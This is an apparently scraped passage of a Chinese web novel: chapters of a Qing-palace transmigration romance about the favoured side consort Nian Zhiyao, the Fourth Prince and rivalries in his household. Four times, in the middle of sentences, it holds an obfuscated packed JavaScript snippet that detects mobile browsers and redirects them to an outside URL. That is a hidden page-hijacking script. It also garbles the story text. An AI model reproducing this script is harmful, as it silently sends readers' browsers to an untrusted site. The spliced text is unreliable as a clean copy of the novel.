年芷瑶对四爷笑得灿烂,“爷,我想吃春饼。”她早就想好了,如今天热,也吃不下什么油腻的菜,只想吃几个素色小炒,配春饼吃一定不错。 他看向苏培盛:“传膳吧。” 苏培盛:“是。” 午膳很快就摆了上来了,有?黄豆芽炒红椒,?木耳番茄炒蛋,醋熘土豆丝,辣炒藕丁,看着就爽口。 春饼做得又薄又韧,卷菜吃更是一绝,四爷也很捧场,一连吃了好几张饼才停了下来。 他道:“今日这菜不错,赏他们。” 苏培盛低头称是,这膳房的人今儿个倒是得了侧福晋的巧。 正院那也摆上了膳,福晋看着一桌子的荤腥,有些腻烦地捂了捂嘴角,简单吃了两口便让人撤了下去。 赵嬷嬷劝道:“福晋,多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041191|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少再吃些吧。” 福晋摇了摇头:“我没什么胃口,你们都分了吧。” 见劝不动福晋,赵嬷嬷叹了口气,福晋苦夏,一到夏天就吃得少,可即便这样福晋的抄经还是每日不落,这身子怎么受得住呢。 她想了想说:“奴婢听说圆明园里气候好,夏日也凉爽些,不如福晋禀了爷,去园子里避暑可好。” 福晋皱了皱眉:“我没什么要紧的,何必要兴师动众的。” 赵嬷嬷低头不语,要说兴师动众,主子爷带着年侧福晋一去便是月余才是兴师动众呢,您又何必如此自苦,可她动了动唇角,还是没将话说出口。 福晋看向赵嬷嬷:“爷可是去了东院。” 赵嬷嬷点头。 福晋看向外面,去不去园子有什么重要的,她也能猜到一点爷的心思,若是真的成了,日后还有得争呢。 李氏的院子,琥珀和玛瑙在屋外面面相觑,不敢有半点声音,自从上次主子被禁了足,主子的脾气就越发大了起来。 “爷还没来吗。”屋内传来李氏的声音。 琥珀推开门,轻声说:“刚才小福子来禀,说爷去了东院了。” 李氏气得将茶盏扔在地上,“没用的东西。” 琥珀劝道:“主子别担心,爷定会过来的。” 李氏:“爷怎么会来,自从年氏那个狐媚子进了府,爷都把我抛在脑后了,怎么会再来我的院子。” 琥珀紧张地四处看了看:“主子,可不敢这么说。” 有了之前的教训,李氏很快就闭上了嘴,可眼里却更加不忿,年氏刚进府,爷就将那年氏带去圆明园游玩,若日后那年氏再有了孩子,那这府里还有她的容身之处吗。 玛瑙担心地看着主子,之前主子和三阿哥的议论已经惹得主子爷不高兴了,连三阿哥都不准来后院了。 若不是还是爷不想把事情闹大,她们被罚的板子说不定还要更重一些,福晋也趁机作怪,主子若是还不看得清楚些,往后的日子只怕更不好过。 用过午膳,年芷瑶便有些困,今日要从园子里回府,她起得格外早,如今自然是更困了。 四爷倒是没陪着她一起午睡,而是去了前院,她看着四爷,果然是日后要做皇帝的人,即便没有实务,也照样清闲不了啊。 她去了东侧间休息,她的正房是一明两暗三间大屋子,中堂被她当作待客和吃饭的地方,西边地被她当作书房,东西两侧又各有耳房。 旁边又有东厢房和西厢房,也是一明两暗三间屋子,屋子太多,她现在也用不上,便都上了锁,只留在东面的几间屋子作为仓库。 美美地睡了一觉后,年芷瑶缓缓地睁开眼睛,只觉得休息的正好。 听到动静的白芨走了进来,替她掀开床帐道:“主子,耿格格求见。” 年芷瑶:“耿格格?”她来做什么。 白芨道:“是,已经在偏厅等着了。” 年芷瑶:“怎么不喊我。” 白芨:“耿格格说不必打扰您,主子别担心,奴婢已经上了茶水点心,并未怠慢。”比起不相关的格格,自然是自家主子的休息更重要些,主子今晨起得早,若是午间休息不好,那便该难受了。 况且耿格格不请自来,所谓何事还不一定呢。 年芷瑶点了点头:“为我梳妆吧。” 12. 第 12 章 耿氏随着领路的丫鬟进了东耳房,她抬头望了一眼,只见这间屋子的桌椅是一水的紫檀木,前头的座椅旁放着两个松石绿地粉彩花卉葫芦三孔瓶,一看就名贵非常。 听说侧福晋这里的摆件都是四爷参谋的,少了的东西也都是四爷从库房添的,侧福晋刚进府的那些日子,人人都看见苏培盛日日带着东西往东院跑,可见四爷对侧福晋的宠爱。 丫鬟给她上了茶水点心,耿氏端起茶盏闻了闻,是难得的好茶,侧福晋却只用它来待客,耿氏想叹气,她看了一眼等在一旁的小丫鬟,又将叹息咽了回去。 年芷瑶走进偏厅,看着坐在一旁的耿格格笑道:“让妹妹久等了。” 耿格格起身行礼:“是我不该打扰侧福晋休息才是。” 年芷瑶摆了摆手:“不妨事,格格这次过来可是有事?” 耿氏皮肤白,长相也偏娇俏,可能是产子不久的原因,身材还有些丰润,但也是个美人,毕竟是皇阿哥,谁敢把不好看的女子塞进他的后院里,又不是嫌命长了。 故而四爷的后院女子虽少,但也都是中上之姿,还都是大选出来的,家世清白的秀女,四爷并不热衷女色,不像三爷,后院不少都是门下奴才的女儿,毕竟选秀的秀女都是要给整个宗室赐婚的,即便是皇上,也不能把好的都留给自己儿子。 耿氏笑道:“并没有什么大事,只是听闻侧福晋爱吃糕点,我院子里碧珠的最会做点心,故而拿来给侧福晋尝尝。” 年芷瑶看着精致的点心,赞道:“这点心看着好吃,耿妹妹费心了。” 耿氏:“能得侧福晋喜欢便好,这些都不算什么。” 耿氏并未多待,只浅浅和她聊了两句便起身告退。 等耿氏走后,年芷瑶看向白芨,“你说她这次来是为了什么。” 白芍想得简单些:“主子得宠,耿格格想凑上来不是寻常的事吗。” 年芷瑶抚了抚茶盏,耿氏在后世上的记载并不多,只知道她是五阿哥的生母,听说还抚养过乾隆幼时一段时间,是以乾隆登基后对她很是亲近,并加封她为贵太妃,但除了这个,并未对这个人有太多的记载。 也并未听说她与历史上的年氏有什么交情。 松嬷嬷知道得多些,“奴婢听说这些日子,钮祜禄格格时常到福晋的院子里请安。” 年芷瑶眯了眯眼,钮祜禄氏这是和福晋联合在一起了,她有儿子,福晋没儿子,倒是个不错的买卖。 府里就两个格格生了阿哥,钮祜禄氏傍上了福晋,耿氏来找她也不奇怪,至于为什么不找李氏,那真是有眼睛的人都能看得出来,李氏缺点脑子,人品也不行。 想通了这个,年芷瑶便放心地吃起了点心,有所求不要紧,最怕的是无缘无故的好意。 她尝了口菊花糕,“味道的确不错,你们也来尝尝。” 穿越过来之后,她才知道,之前看的小说电视剧里的人动不动就在饭菜里下毒什么的纯属扯淡。 当你的全家的性命都在上位者手里捏着的话,没什么人真的敢做什么,不说耿氏敢不敢拿她儿子和全族的性命来赌,至少膳房的人才不会为了她拼上命呢。 白芍兴致冲冲地上前,拿了一块梅花糕咬了一口,“真的好吃,白芨姐姐也来尝尝。” 白芨点她:“小馋猫。” “你才馋呢。” 年芷瑶笑着看两人的打闹,刚进府时,她们的心里都绷着一根弦,连笑闹声都少了,如今也算是安稳下来了。 松嬷嬷一脸慈爱地看向她:“主子可要收服耿格格。” 主子得宠,但在后院有个帮手也是好事,耿格格出身不高,是汉军旗,自然会以主子马首是瞻。 “看看再说吧。”年芷瑶对拉拢别人这事并不热衷,天下熙熙皆为利来,耿氏因她有宠而靠过来,日后若她失宠自然也会离去。 她又有儿子,难说不会为了儿子做些什么损害她利益的事。 虽说历史上五阿哥是个不着调的王爷,一直对皇位没有觊觎之心,但她并不保证,耿氏和五阿哥是没有野心的人,职场让她学会的第一件事,就是不要用既定印象去看人。 松嬷嬷看她兴趣缺缺,也不再劝说,主子心里有数便好,她能做的,就是尽力让主子过得更好。 瑶珠扶着耿氏出来,“格格,您说侧福晋是什么意思,可会接受我们的投靠。” 耿氏摇头:“哪有这么容易,说到底是我们求着人家。” 她也不想这般,可钮祜禄氏是大姓,如今身后又站着福晋,如今虽是不显,可日后两个阿哥都进了前院读书,那差别可就大了。 晚间,白芨过来禀告:“主子,四爷过来了。” 四爷进了屋子,一眼就看着她桌子上的冰酥酪和冰酸奶,不由得皱了皱眉:“少食些冰。” 年芷瑶冲他笑:“天气太热了嘛。” 四爷:“那也不许贪多。”他摸了摸她的额头,并未出多少汗,就知她只是嘴馋。 他抬眼看着年芷瑶,知道这是个不服管的,便看向一旁伺候的白芨:“看着你主子,别让她多吃。” 白芨下意识的福身:“是。” 年芷瑶怨念地看着他,这人真讨厌,他这么说,旁人还怎么敢让她吃冰。 四爷安慰她:“这东西吃多了损伤脾胃,就没胃口了吃饭了,一天最多吃上一碗。” 看她还不满意,便道:“等过段时间天气凉快了,爷带你去外面玩可好。” 年芷瑶惊喜地看他:“真的吗,爷真的要带我出府玩。” 四爷点头。 “那爷可不准耍赖。”年芷瑶趁机把事情定下来,如今出门的机会可不易得,自然要抓住机会才是。 四爷笑道:“君子一言,驷马难追。” “晚上想吃什么。” 年芷瑶“吃羊肉。” 四爷笑着摸了摸她的头,“好。” 晚膳时,膳房果然进了羊肉上来,有红焖羊肉,葱烧羊肉,还有她特意叮嘱过的烤羊肉串,撒上厚厚的辣椒和孜然,一口下去,梦回夏天的大排档,就差冰镇啤酒了。 虽没有啤酒,但有新酿的果酒,也还不错。 年芷瑶接连吃了三串,不愧是膳房大师傅做的,这羊肉的火候烤得刚刚好,连四爷这不喜重口的,都忍不住尝了一串。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041192|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏培盛佩服地低头,在主子爷身边在如此放肆吃喝的,吃的还是羊肉这等重口味的菜,后院这么多主子中,他也在年侧福晋身上见过。 不过,伺候主子爷这么多年,他多少也能摸着点主子爷的脉,他喜欢的便是侧福晋这般的真性情,也算是歪打正着了。 年芷瑶看向四爷,心中不解,怎么会有人拿着羊肉串也如此优雅,就像吃的不是羊肉串,而是在用琼浆玉露,难道这就是传说中的贵族气息吗。 四爷感受到她的视线,看了过来。 年芷瑶问道:“爷,这烤羊肉如何。” 四爷点了点头:“不错,赏。” 苏培盛:“是。” 用过晚膳,两人各自洗漱完,便该躺下办正事了,年芷瑶摸着四爷紧实有力的肌肉,不得不说,四爷的本钱还是不错的,至少身材不错。 四爷按住她不老实的手,一个翻身便将她压在了身下。 又是一夜放纵。 午后,年芷瑶正在吃着削好切块的桃,要说这夏天还有什么好处的话,那就是应季的水果比较多,比如她手中的桃,便是从湖南运过来的,脆甜,比她在现代花大价钱买的有机桃子还要甜。 果然无论在什么朝代,统治阶级的享受都是普通人想象不到的。 白芨走了进来:“主子,再有一个多月便是四爷的生日了,咱们可要准备些什么。” 年芷瑶沉吟:“其他院子里都送的什么。” 白芨:“李侧福晋这几日时常让人去前院看三阿哥,许是想从三阿哥那边下手吧,钮祜禄格格让身边的丫鬟去针线房要了一些丝线,许是要亲自绣些东西送给爷。” 年芷瑶拍了拍手:“那我们也绣个东西吧,就绣荷包吧。” 她想了想还是觉得绣荷包最是简单,四爷能缺什么,心意到了就行了。 白芨点了点头,主子这个礼物虽不出彩,也不出错,不过主子既已得主子爷的宠爱,那不出错已是极好了。 更何况这是入府第一年,若是送得太过出挑,日后也不好,上头还有福晋呢。 “那主子可要绣什么花样子。” 这个就更简单的,挑个寓意好的就行,“就绣个并蒂莲好了。”既能让四爷想到她,又有美好的祝愿。 白芨:“那奴婢这就去把丝线取回来。” 年芷瑶点了点头,说起刺绣这门手艺,她本来不想学的,额娘也随她,只说若是一窍不通显得不好,就让她随便学学,能把线缝直便好,左右将来也用不着她亲自动手。 可她跟着嬷嬷学了几天,却意外地来了兴趣,看着手中的丝线一点点地变成各种图案,她有种莫名的成就感。 可能是不事生产的原因,让她把刺绣当成了爱好,若是真让她去绣东西赚钱,她可能就没有这么大的兴趣了。 即使是会刺绣,她在家中一般也不动手,只给额娘阿玛绣的多些,两个哥哥也只有在生辰时能收到她这个妹妹亲手绣的荷包。 如今送给四爷,也不算敷衍吧。 只是四爷的生日啊,想必又将迎来一场面和心不和的宴会吧,年芷瑶打着扇子想着。 13. 第 13 章 年芷瑶正在院子里晒太阳,如今的天已经一天天地凉快下去了,已不像盛夏那般燥热,阳光充足又不热,正是晒太阳的好时间。 四爷刚进院子就看见她歪坐在贵妃榻上,旁边还有四样点心,不由笑道:“你倒是会享受。” 年芷瑶起身迎他:“爷怎么这个时间过来了。” 不怪她问,现在是巳时刚过,也就是上午九点多,四爷一般是晚上过来和她一起用晚膳,顺便歇下,有时中午也会来,但从未在这个时辰来过。 不过想到昨夜四爷让苏培盛过来传话,说前院有事不能过来,年芷瑶挑了挑眉,他今天来得这般早,不会是想她了吧。 四爷看她:“不想让爷来。” “怎么会。”年芷瑶挽住他的手臂:“我巴不得爷时时刻刻都陪着我,怎么会不想让爷来呢。” 四爷笑了笑:“油嘴滑舌。” 年芷瑶撇嘴:“我明明是真心实意的,爷却说我油嘴滑舌,那以后我不说就是了。” 四爷被她逗不行,又拿她没办法,只能牵着她的手进了屋子。 见两个主子亲亲蜜蜜地进去,苏培盛只得带着人等在门外,又一次见识到了年主子的哄人功夫,他不由叹道,怪不得年主子得宠呢,这情话都说得如此动听,谁听了不迷糊啊。 “爷,尝尝这个。”年芷瑶端了一碗杏仁酪递给四爷,“这是小厨房今日新做的,我吃着还不错。” 四爷笑了笑:“你这里的小厨房倒是不错。” 年芷瑶:“不过都是些小玩意,爷喜欢便好。” 四爷凑近她道:“瑶儿给的,爷自然都喜欢。” 年芷瑶看着四爷在眼前放大的俊美面庞,有些不自然地屏住呼吸,虽然两人再亲密的事情都做了,可忽然离得这么近,她还是有些慌乱。 四爷看到她如此慌了神,不由哈哈大笑,将她一把抱在了腿上,挑了挑眉:“瑶儿怎么还是这么害羞。” 年芷瑶将脸埋在他的怀里,“爷真烦人。” 四爷不在意地拍了拍她的背,“是爷不好,吓到瑶儿了。” 若是旁人看到两人这般,定会觉得他们是一对十分相爱的夫妻,可年芷瑶却清楚,如今两人的感情虽好,可四爷待她,不过是只到喜欢的程度,整日停在东院,也不过是这王府里,她最合他的心意罢了。 要到今生只爱一人的程度,还差得远呢。 但年芷瑶从来不会因为这份感情不够深刻而看不上,她太明白了,这世界上从来没有无缘无故的爱,她在现代时也不是没有过两情相悦的恋爱。 那个男孩人品好,学历好,家庭好,可就是太好了,在知道她的原生家庭后,他家里人强烈反对,他抗争过,反抗过,但最终也没敌过父母,和她分了手。 自那之后,她就明白了,人生苦短,及时行乐就行了,情爱这种东西谁认真谁就是傻子。 所以如今能和四爷这般相处,她已经觉得不错了,既是包办婚姻,又是各取所需,还能算得上琴瑟和鸣,已经超出她的预想很多了,她十分知足。 她把玩着四爷的手,他的手指修长,骨节分明,又因常年骑射握笔,手中有薄薄的一层老茧,她伸手附了上去,嗯,比她的手要宽大许多。 四爷握住她的手:“又作怪。” 年芷瑶靠在他怀里,“有爷在,真好。” 四爷:“就知道哄爷。” “我是认真的。”年芷瑶抬头,清澈的眸子映衬出四爷的脸,她满眼认真,让人不自觉地沉沦进去。 四爷捂住她的眼,“嗯,爷知道。” 爷会对你好的。 两人紧紧地抱在了一起,后果便是身体自然地起了反应。 年芷瑶感受到他身下的起伏,捏了捏他地绷的紧实的小腹,她向四爷耳边吹了口气,“爷,你好像很紧张呢。” 四爷的眼神慢慢地暗了下来,按住了她不老实的手。 年芷瑶一脸无辜地抬头看他:“爷,现在还是白日呢。”你得冷静啊。 四爷运了运气,将怀中的大宝贝抱紧,“等晚上,看爷怎么收拾你。” 年芷瑶心中一紧,坏了,好像玩脱了。 她换了一副求饶的表情,“爷,我错了。” “现在说错,晚了。”四爷笑了起来,可笑意却不达眼底,反倒是沉沉的可怕。 年芷瑶看了有些害怕,她太明白四爷的实力了,想跳下来逃跑,却没能成功。 四爷的臂力竟然也不错,年芷瑶欲哭无泪,不是说四爷不善骑射吗,怎么这么有劲啊。 她不知道的是,四爷的不善骑射,是与大阿哥那般勇武的比较,但毕竟是从小练出来的,又有个对儿子精益求精的皇阿玛,自然比一般的花架子要好。 至少逮住她这个四肢不勤的还是轻而易举。 晚上放肆的后果就是明明第二天就是去福晋院子里请安的日子,年芷瑶却躺在床上起不来身。 看着瑶儿埋怨的眼神,四爷难得移开了视线,昨夜是他放纵了。 四爷安抚她道:“爷让人给福晋说声。” 这次年芷瑶没再拒绝,因为她的腰确实有些不太行,况且就她现在的这副样子,即便是去了福晋的院子,比直接告假不去也好不了多少。 她道:“还是让白芨去吧,就说我今儿个不舒服。” 直接让苏培盛告诉福晋总觉得有些太张狂了,她到底是新进府,还是低调些好。 四爷点了点头:“好。” 看着白芨离去,年芷瑶便放心地躺下了。 左右那些酸话什么时候也少不了,多一些少一些的也无所谓,比起那个,她还是更在意自己的身体。 四爷为她掖了掖被子,“你再睡会。” 正院 福晋听了白芨的回禀便点了点头,“既然你家侧福晋身子不适,就不必过来请安了,回去好生照顾你们主子。” 白芨:“是。” 李氏嘴角一撇,“这年妹妹可真是身娇体弱,也不知是真的不适,还是不想来给福晋您请安呢。” 福晋看了她一眼,“年氏整日里伺候爷自然辛苦些,若是你们谁也有这般本事,也可以不来请安。” 李氏的脸色顿时难看极了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041193|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁的格格看着福晋与李侧福晋的斗法,都低头不语。 年芷瑶又睡了个回笼觉,直到日上三竿才起来,醒来时,四爷已经走了,想必是去了前院。 她看着白芨:“福晋那可说了什么。” 白芨摇头:“福晋并未多说什么,只是奴婢走时看着李侧福晋的脸色,着实有些难看。” 年芷瑶点了点头,李氏的心思人人皆知,可四爷也不会因为她摆上脸色就上她的院子里。 李氏虽已失宠,但有位份子嗣,若是不犯蠢,好好教养三阿哥,日后未必没有好日子过,四爷念旧情,也不会让福晋在分例上为难她。 可这些日子看下来,李氏并没有这个脑子,她在心里摇了摇头。 个人有个人的缘法,旁人怎么过,和她的关系也不大,她也没那个闲心去管。 年芷瑶看向镜中自己还泛着潮红的脸,十分自恋地叹道,她的皮肤可真是极好,一般人想要这般效果还没有呢。 白芨问道:“主子,可要传午膳。” 年芷瑶点了点头,四爷午膳不过来,只她一个人吃就简单多了,也不必管要几凉几热,直接要了炸串和奶茶。 把穿好的土豆,茄子,蘑菇裹上薄薄的一层面糊,大火油炸,再趁热刷上酱料,比吃肉还要痛快。 膳房特意配了三种酱料,有甜辣的,酸甜的,还有孜然烧烤的撒料,一口吃下,满嘴流油。 唯一的遗憾就是没有碳酸饮料,酸梅汤始终差点意思。 也就是她独门独院地住着,不然油炸的香气一上来,旁边的人都得过来问一问。 因上午睡得足,她中午就没再睡,免得晚上走了困,便在秋千里看起了书。 四爷让人在院子里给她搭了个秋千,她特意要了半包裹式的,可以整个人坐在里面。 采蕖又给她缝制了几个靠枕,十分柔软,舒服得让人不想起来。 午后,小厨房进了点心上来。 年芷瑶指着一碟子四四方方的黄色糕点问道:“这是什么。” 采芙过来看了一眼:“回主子,这是豌豆黄。” 豌豆黄啊,年芷瑶想起来了,这玩意和绿豆糕一样,口感细腻但噎人,她一向不爱吃,比起这个,她更爱吃甜软的糕点类型。 她摆了摆手:“这个你们分了吧,再给我要份枣泥山药糕来。” 采芙:“是。” 钮祜禄氏看着在屋子里玩闹的四阿哥,脸上泛起温柔的笑意。 四阿哥抱住她:“额娘,想去外面玩。” 钮祜禄氏看了看天色还算好,就让奶娘带着四阿哥去院子外面转一转,“不要走远。” 奶娘道:“是。” 春桃:“格格,您说今日年侧福晋为何没来请安,是真的身子不适吗。” 钮祜禄氏笑了笑;“若真是身子不适,怎么会连大夫都不请。” 她看了一眼因为可以出门而笑得开心的四阿哥,福晋说得没错,这个王府里,谁得了四爷的宠爱,谁在府里就能横着走,可还有一点,谁有了阿哥,谁才是有了真正的后福呢。 14. 第 14 章 年芷瑶绣下荷包的最后一针,满意地点了点头。 等在一旁的白芨笑道:“主子的绣功越发精湛了,这并蒂莲栩栩如生,四爷收到后定会明白主子的心意的。” 年芷瑶笑了笑,“收起来吧。” 送礼这件事,说到底还是要看送礼物的人是谁,要是送礼的人是你不喜欢的,她就算是将礼物送到心坎里,你也会想这人是不是别有所图,若是喜欢的人,就算送个鹅毛过来,都会被说是礼轻情意重。 是以她早已不会为送礼发愁了。 年芷瑶走到院子里看了看,“今日的天气倒是好,陪我出门转转吧。” 白芨道:“是。” 王府里的花园就在离她院子不远,在后院靠近中间的位置,倒是方便,年芷瑶带着人浩浩荡荡的过去,还有小太监在前头开路,防着不相干的人冲撞。 花园说大不大,说小不小,比起圆明园自是差了不少,但该有的都有,还有一方小湖,可以在那坐着赏景。 白芨带着人布置了凉亭,又上了茶水和点心。 年芷瑶坐在用软垫铺好的石凳上,将思绪放空,享受着这片刻的静逸,微风轻拂,阳光洒在她的面庞上,展示出一种动人的美。 “给侧福晋请安。” 一道不算熟悉的声音打断了年芷瑶的思绪,她抬头一看,竟然是宋氏。 年芷瑶有些惊讶,两人虽说在每每都在福晋的正院相见,但宋氏不爱开口,和她的对话也仅限于请安行礼,没想今儿个会在园子里遇见她。 年芷瑶:“快起。” 她看了看宋氏过来的方向,明白是她晚到一步,既如此,也不好直接赶人。 年芷瑶笑道:“是我扰了妹妹的清静了。”她指了指一旁的空座,“妹妹可要与我一同赏景。” 宋氏微微福身,然后拒绝道:“不敢打扰侧福晋的雅兴了,妾先行告退。” 年芷瑶看着宋氏离去的背影挑了挑眉。 白芍不忿道:“主子,这宋氏也太没规矩了吧,您都请她入座了,她竟丝毫不理会。” 年芷瑶:“她可能是不喜人多吧。” 白芍:“可是...” 年芷瑶看她一眼:“好了,出来玩都堵不住你的嘴。” 白芨给白芍使了个眼色。 白芍:“是奴婢多嘴了。” 年芷瑶摆了摆手:“无事。” 这宋氏也是个可怜人,她伺候四爷最早,先前生过两个格格,可都没过满月就因体弱早夭,自此之后便沉寂在了后院,对于这般心如死灰的女子,她未尝不能容忍几分。 回去的路上正好碰到四爷,年芷瑶笑着走过了去:“爷。” 她还年轻,还不到认命地时候,若此时不争,她将来的下场不一定会比宋氏要好上多少。 四爷握住她的手:“手怎么这么凉。” 年芷瑶冲他笑笑:“可能是在园子里多坐了一会。” 四爷皱了皱眉:“一会让膳房上份滋补的汤羹来。” 苏培盛:“是。” 四爷:“如今已是秋日,一早一晚都凉,注意自己的身子。” 年芷瑶听着他关心的话,笑得越发甜软:“是我错了,下次不会了。” 四爷看她认错认得如此之快,也不好再说她什么,知道瑶儿是在府里待的无聊了,只是如今快到中秋,府里事忙,等过段时间才能再带瑶儿出门。 他牵着她的手,只觉得这手比他的不知要细腻多少,摸起来更是柔弱无骨,四爷的指尖微微用力,像是害怕她从他的手心逃走一般。 用过晚膳,两人便在一起下棋消食,说实话她在围棋上的造化并不深,索性四爷只是想和她打发时间,而不是真的想和她切磋一番。 可即便是这样,四爷也对着她连连叹息。 年芷瑶抱怨:“本来就是爷非要拉着我下的,怎么还怪上我了。”她都说过自己棋艺不精了,家里没人愿意和她下棋的。 四爷无奈,只能捏着鼻子认了。 第二日一早,年芷瑶刚用过早膳,便看见白芍便笑意盈盈地进来。 “主子,苏公公过来了。” 苏培盛走了进来,低头行礼:“给年主子请安,主子爷特意让奴才给您送样东西过来。” 年芷瑶微微一笑:“什么东西。” 苏培盛小心翼翼地将木盒盛了上去,并不敢回话,四爷早上拿东西的时候他可是看见了,想着此物呈上去年主子定不会高兴。 年芷瑶打开木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041194|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盒,发现里面竟然放着三本棋谱。 苏培盛看了看她的脸色,说:“主子爷说,这三本是初学用的,等您学会了,还有更复杂些的。” 年芷瑶呵呵一笑,将棋谱拿了出来,“告诉爷,我知道了。” 晚间,四爷过来看她。 年芷瑶上去抱住了他:“爷真讨厌。” 这人真是睚眦必报,昨日被她噎住了,今天就要找补回来,她想到后世说四爷爱记仇,如今一看,果然是真的。 四爷笑了起来:“瑶儿天资聪颖,若是认真研读,棋艺定可突飞猛进。” 年芷瑶轻哼一声:“我不要。” “那就不学。”四爷将棋谱拿走,转身抱住了她,这棋谱本来就是拿来逗瑶儿玩的,不学就不学吧。 八爷府 八爷正在书房里钻研着礼物单子。 八福晋递给八爷一碗百合莲子粥,“爷歇歇再看吧,仔细别伤了眼睛。” 八爷冲她笑了笑:“先放着吧,马上就要中秋了,爷准备选一些物件进给皇阿玛。” 如今皇阿玛对他的态度好不容易好上一些,他不想放过这次机会。 八福晋叹道:“这中秋之礼年年都送,如今是真的不知道送些什么了。” 八爷拍了拍她的手:“皇阿玛什么都不缺,最看重做儿子的心意。” 八福晋:“是呢,不知四爷那备的是什么礼。” 八爷抬头看她:“怎么说起四哥?” 八福晋捂嘴轻笑:“这不是听说四哥对新进门的侧福晋很是宠爱,中秋佳节宫中设宴,想那侧福晋应该也会去,我也有些好奇呢。” 八爷看她:“听说那侧福晋是年家的女儿。” “是呢。”八福晋撇了撇嘴,她是福晋,最看不惯的便是那些侧福晋格格之流,只是四嫂嫡子没了,那年氏家世又好,日后再生了阿哥,那雍亲王府里指不定多热闹呢。 不像八爷疼她,两人虽没孩子,但八爷就将王氏生下来的阿哥给抱到了正院,也并未为那王氏请封侧福晋,可见八爷对她的心意。 她轻轻伏在八爷身上,心中忍不住有些许得意。 嫂子又如何,四哥待四嫂要是有八爷待她一半好,就不会让那年氏进门。 15. 第 15 章 正院 福晋正对着烛火查看着给各府的礼物单子。 赵嬷嬷看了看天色,“福晋,时辰不早了,该歇息了。”明儿个福晋还要早起念经,若是歇得晚了,明日定会头疼难受。 福晋合上书册:“这些日子你仔细着些,别出了差错。” 如今快到中秋了,给各府走礼最是马虎不得,若是哪家的礼轻了,哪家的礼重了,都是麻烦事,不如现下多费些事。 赵嬷嬷低头:“是。”她扶着福晋起身。 牡丹掀开门帘,欣喜地道:“福晋,四爷过来了。” 赵嬷嬷惊讶地看她,然后连忙带着正院里一阵忙碌,四爷这个时辰过来,说不得会在院子里歇下呢,得快些将东西准备好了。 福晋看着她们如此热闹,不好出声打断她们,心中却不认为四爷会留在她这。 看四爷进了屋子,牡丹连忙带着人上了茶。 福晋行礼道:“爷来了。” 四爷看了眼桌子上的东西,便知道福晋刚才在做什么,他道:“中秋事多,辛苦福晋了。” 福晋:“都是妾身分内之事。”她看向四爷:“爷可是有事。” 四爷点了点头:“没什么大事,只是李氏的性子如今越发偏颇了,中秋就让她在府里看家吧,省得进宫惹了麻烦。” 如今宫中事多,再怎么小心也不为过。 福晋有些惊讶地看了过去。 四爷抬眸看她。 福晋连忙低头:“是。” “只是不知三阿哥那...” 四爷皱了皱眉:“三阿哥如今也大了,跟着爷去前殿便是。” 福晋不敢再说什么,只能低头称是。 赵嬷嬷带着人站在屋子外面,问道:“主子爷的换洗衣裳可准备好了。” 牡丹:“嬷嬷放心。” 主子爷虽不怎么在正院过夜,可每年新做的四季衣裳总要留一些在正院,就是为了以备不时之需。 正事都谈完了,四爷便起身离去:“爷去年氏那,你好好歇着。” 福晋:“是,妾身恭送爷。” 赵嬷嬷一个眨眼,就看着四爷走了出来,她连忙跟着跪下行礼。 她小心翼翼地进了屋子,轻声喊道:“福晋。” 福晋看了看犹豫的赵嬷嬷,摆了摆手:“我累了,先歇息吧。” 看着嬷嬷没再说什么,她终究是缓了口气。 福晋躺在床上看着新绣的缠枝牡丹帐子,她没想到四爷会为了年氏做到这个地步,说什么李氏性子不好,分明是怕中秋进宫时李氏为难年氏,而他在前殿力有不逮吧。 这么多年,四爷有这么宠爱过谁吗,李氏年轻时也颇为得宠,可四爷有这般为她着想吗,福晋有些想不起来了。 她闭了闭眼,不管四爷在府里更宠爱谁,她都是得万岁赐婚,名正言顺的四福晋,谁也越不过她去。 年芷瑶在东院得了四爷正往这边来的消息,便去了院子外等着他。 白芨劝道:“主子,外面风凉,您在屋里等便是。” 年芷瑶:“无事,就当是消消食也好。” 白芨见劝不动她,只能抱着披风跟着她。 